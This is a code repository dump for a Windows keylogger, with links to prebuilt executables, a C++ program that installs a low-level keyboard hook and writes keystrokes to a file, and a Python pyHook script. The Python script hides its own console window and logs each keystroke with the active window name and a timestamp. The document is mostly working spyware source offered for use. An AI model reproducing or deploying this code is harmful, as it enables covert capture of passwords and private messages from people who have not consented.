├── README.md ├── key1.1.zip ├── keylog.exe ├── logger.exe ├── keylog └── main.cpp └── keylogger.py /README.md: -------------------------------------------------------------------------------- 1 | # keylogger 2 | 键盘记录器 3 | -------------------------------------------------------------------------------- /key1.1.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/airob0t/keylogger/HEAD/key1.1.zip -------------------------------------------------------------------------------- /keylog.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/airob0t/keylogger/HEAD/keylog.exe -------------------------------------------------------------------------------- /logger.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/airob0t/keylogger/HEAD/logger.exe -------------------------------------------------------------------------------- /keylog/main.cpp: -------------------------------------------------------------------------------- 1 | #define _WIN32_WINNT 0x0500 2 | 3 | #include 4 | #include 5 | 6 | using namespace std; 7 | 8 | ofstream out("keys.txt", ios::out); 9 | 10 | LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { 11 | PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); 12 | 13 | // If key is being pressed 14 | if (wParam == WM_KEYDOWN) { 15 | switch (p->vkCode) { 16 | 17 | // Invisible keys 18 | case VK_CAPITAL: out << ""; break; 19 | case VK_SHIFT: out << ""; break; 20 | case VK_LCONTROL: out << ""; break; 21 | case VK_RCONTROL: out << ""; break; 22 | case VK_INSERT: out << ""; break; 23 | case VK_END: out << ""; break; 24 | case VK_PRINT: out << ""; break; 25 | case VK_DELETE: out << ""; break; 26 | case VK_BACK: out << ""; break; 27 | 28 | case VK_LEFT: out << ""; break; 29 | case VK_RIGHT: out << ""; break; 30 | case VK_UP: out << ""; break; 31 | case VK_DOWN: out << ""; break; 32 | 33 | // Visible keys 34 | default: 35 | out << char(tolower(p->vkCode)); 36 | 37 | } 38 | } 39 | 40 | return CallNextHookEx(NULL, nCode, wParam, lParam); 41 | } 42 | 43 | int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { 44 | 45 | // Set windows hook 46 | HHOOK keyboardHook = SetWindowsHookEx( 47 | WH_KEYBOARD_LL, 48 | keyboardHookProc, 49 | hInstance, 50 | 0); 51 | 52 | MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK); 53 | 54 | out.close(); 55 | 56 | return 0; 57 | } 58 | -------------------------------------------------------------------------------- /keylogger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | 5 | import pythoncom 6 | import pyHook 7 | import time 8 | import ctypes 9 | 10 | def onMouseEvent(event): 11 | "处理鼠标事件" 12 | fobj.writelines('-' * 20 + 'MouseEvent Begin' + '-' * 20 + '\n') 13 | fobj.writelines("Current Time:%s\n" % time.strftime("%a, %d %b %Y %H:%M:%S", time.gmtime())) 14 | fobj.writelines("MessageName:%s\n" % str(event.MessageName)) 15 | fobj.writelines("Message:%d\n" % event.Message) 16 | fobj.writelines("Time_sec:%d\n" % event.Time) 17 | fobj.writelines("Window:%s\n" % str(event.Window)) 18 | fobj.writelines("WindowName:%s\n" % str(event.WindowName)) 19 | fobj.writelines("Position:%s\n" % str(event.Position)) 20 | fobj.writelines('-' * 20 + 'MouseEvent End' + '-' * 20 + '\n') 21 | return True 22 | 23 | 24 | def onKeyboardEvent(event): 25 | "处理键盘事件" 26 | fobj.writelines('-' * 20 + 'Keyboard Begin' + '-' * 20 + '\n') 27 | fobj.writelines("Current Time:%s\n" % time.strftime("%a, %d %b %Y %H:%M:%S", time.gmtime())) 28 | fobj.writelines("MessageName:%s\n" % str(event.MessageName)) 29 | fobj.writelines("Message:%d\n" % event.Message) 30 | fobj.writelines("Time:%d\n" % event.Time) 31 | fobj.writelines("Window:%s\n" % str(event.Window)) 32 | fobj.writelines("WindowName:%s\n" % str(event.WindowName)) 33 | fobj.writelines("Ascii_code: %d\n" % event.Ascii) 34 | fobj.writelines("Ascii_char:%s\n" % chr(event.Ascii)) 35 | fobj.writelines("Key:%s\n" % str(event.Key)) 36 | fobj.writelines('-' * 20 + 'Keyboard End' + '-' * 20 + '\n') 37 | return True 38 | 39 | 40 | 41 | 42 | if __name__ == "__main__": 43 | whnd = ctypes.windll.kernel32.GetConsoleWindow() 44 | if whnd != 0: 45 | ctypes.windll.user32.ShowWindow(whnd, 0) 46 | ctypes.windll.kernel32.CloseHandle(whnd) 47 | 48 | 49 | #打开日志文件 50 | file_name = str(time.time()).split('.')[0]+".txt" 51 | fobj = open(file_name, 'w') 52 | 53 | 54 | #创建hook句柄 55 | hm = pyHook.HookManager() 56 | 57 | 58 | #监控键盘 59 | hm.KeyDown = onKeyboardEvent 60 | hm.HookKeyboard() 61 | 62 | 63 | #监控鼠标 64 | #hm.MouseAll = onMouseEvent 65 | #hm.HookMouse() 66 | 67 | #循环获取消息 68 | pythoncom.PumpMessages() 69 | 70 | #关闭日志文件 71 | fobj.close() 72 | --------------------------------------------------------------------------------